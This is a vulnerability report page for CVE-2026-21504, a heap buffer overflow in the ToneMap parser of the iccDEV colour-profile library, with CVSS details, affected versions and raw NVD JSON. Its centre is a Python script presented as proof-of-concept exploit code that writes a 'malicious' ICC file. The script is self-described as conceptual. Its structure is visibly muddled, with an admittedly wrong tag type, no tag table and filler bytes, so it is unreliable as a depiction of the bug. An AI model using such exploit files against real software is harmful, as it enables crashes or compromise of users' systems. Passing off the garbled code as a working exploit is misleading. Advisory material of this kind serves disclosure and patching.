Security Vulnerability Report
中文
CVE-2026-21504 CVSS 6.6 MEDIUM

CVE-2026-21504

Published: 2026-01-07 18:15:55
Last Modified: 2026-01-09 21:34:20

Description

iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of ICC color management profiles. Prior to version 2.3.1.2, iccDEV is vulnerable to heap buffer overflow in the ToneMap parser. This issue has been patched in version 2.3.1.2.

CVSS Details

CVSS Score
6.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:* - VULNERABLE
iccDEV < 2.3.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-21504 PoC - iccDEV ToneMap Heap Buffer Overflow Note: This is a conceptual PoC for educational and security research purposes only. """ import struct import os def create_malicious_icc_with_toneMap_overflow(): """ Generate a malicious ICC profile with oversized ToneMap tag data to trigger heap buffer overflow in iccDEV < 2.3.1.2 """ # ICC Profile Header (128 bytes) header = bytearray(128) # Profile size will be set later struct.pack_into('>I', header, 0, 0) # profile_size # Preferred CMM type header[4:8] = b'lcms' # Color space (RGB) header[16:20] = b'RGB ' # PCS (Lab) header[20:24] = b'Lab ' # Creation date/time # ... (standard ICC profile header fields) # Tag Table # ToneMap tag signature toneMap_tag_sig = b'mft2' # 'mft2' is a tag type, ToneMap uses 'mft1' or similar # For this PoC, we simulate the ToneMap tag data # that would cause buffer overflow when parsed # Malicious ToneMap data - oversized to trigger overflow malicious_toneMap_data = bytearray() # Tag type signature malicious_toneMap_data.extend(b'mft1') # ToneMap tag type # Reserved (4 bytes) malicious_toneMap_data.extend(struct.pack('>I', 0)) # Number of input channels malicious_toneMap_data.extend(struct.pack('>H', 3)) # Number of output channels malicious_toneMap_data.extend(struct.pack('>H', 3)) # Embedded compensation curve (0 = embedded) malicious_toneMap_data.extend(struct.pack('>B', 0)) # Version malicious_toneMap_data.extend(struct.pack('>B', 1)) # CLUT grid point count (for each dimension) for i in range(16): # 16 grid points per dimension malicious_toneMap_data.extend(struct.pack('>B', 0xFF)) # Malicious data - overflow payload # This oversized data will cause heap buffer overflow overflow_size = 1024 * 1024 # 1MB of overflow data malicious_toneMap_data.extend(b'A' * overflow_size) # In real scenario, this ICC profile would be written to file # and opened by an application using vulnerable iccDEV library return header + malicious_toneMap_data def main(): """ Main function to generate PoC ICC profile """ print("CVE-2026-21504 PoC Generator") print("=" * 50) print("Target: iccDEV < 2.3.1.2") print("Vulnerability: Heap Buffer Overflow in ToneMap Parser") print("=" * 50) # Generate malicious ICC profile malicious_profile = create_malicious_icc_with_toneMap_overflow() # Update profile size in header struct.pack_into('>I', malicious_profile, 0, len(malicious_profile)) # Save to file output_file = 'CVE-2026-21504-malicious.icc' with open(output_file, 'wb') as f: f.write(malicious_profile) print(f"\nMalicious ICC profile generated: {output_file}") print(f"File size: {len(malicious_profile)} bytes") print("\n[!] This PoC is for educational purposes only.") print("[!] Do not use for malicious purposes.") if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21504", "sourceIdentifier": "[email protected]", "published": "2026-01-07T18:15:54.537", "lastModified": "2026-01-09T21:34:19.607", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of ICC color management profiles. Prior to version 2.3.1.2, iccDEV is vulnerable to heap buffer overflow in the ToneMap parser. This issue has been patched in version 2.3.1.2."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas que permiten la interacción, manipulación y aplicación de perfiles de gestión de color ICC. Antes de la versión 2.3.1.2, iccDEV es vulnerable a desbordamiento de búfer de montón en el analizador ToneMap. Este problema ha sido parcheado en la versión 2.3.1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}, {"lang": "en", "value": "CWE-193"}, {"lang": "en", "value": "CWE-787"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.2", "matchCriteriaId": "D34CF745-E75A-4F1C-AD7B-9AC1A2E9F680"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/blob/798be59011649a26a529600cc3cd56437634d3d0/IccProfLib/IccMpeBasic.cpp#L4557", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/commit/14fe3785e6b1f9992375b2a24617a0d7f6a70f95", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/commit/23a38f83f2a5874a1c4427df59ec342af3277cad", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/366", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/415", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-rqp9-r53c-3m9h", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}